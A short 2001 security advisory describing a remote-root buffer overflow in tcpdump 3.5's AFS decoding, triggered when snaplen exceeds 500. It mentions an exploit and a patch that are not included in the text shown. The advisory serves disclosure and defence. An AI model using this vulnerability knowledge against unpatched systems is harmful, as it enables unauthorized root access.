    Program: Tcpdump 3.5 (3.4, 3.6.* and the CVS version are not vulnerable)
    Platform: *nix, Windoze
    Risk: Remote root access
    Author: Zhodiac <zhodiac@xxxxxxxxxxxx>
    Date: 4/1/2001



    - Problem:
    -----------

        Tcpdump is a network packet analizer, capabel to decode sucj
   protocols as X11, radius, smb,... When decoding one of this protocols
   AFS exists a buffer overflow. Xploiting this bug an attacker can obtain
   remote root access to the server. This buffer overflow only happens
   when decoding all the packet, and it decodes all the packet when the
   snaplen (option -s in command line) is bigger than 500.

        This bug exists on the stable version of tcpdump (3.5.2), exists a
   patch of kris@xxxxxxxxxxx (27/Sep/2000) in the cvs, but never used with
   the stable version. Developers were contacted and they released 3.6.1
   with this bug fixed.

   - Exploit:
   ----------

       For proof of vulnerability we release the Linux x86 xploit. But be
   aware, no public xploit for your system does not mean you can't be
   hacked. Vulnerability exists, fix it!

   - Fix:
   ------

      Best solution is to wait for a new patched version (3.6.1), meanwhile
  here you have a patch that will stop this attack (be aware that this
  patch was not done after a total revision of the code, maybe there are
  some other overflows).
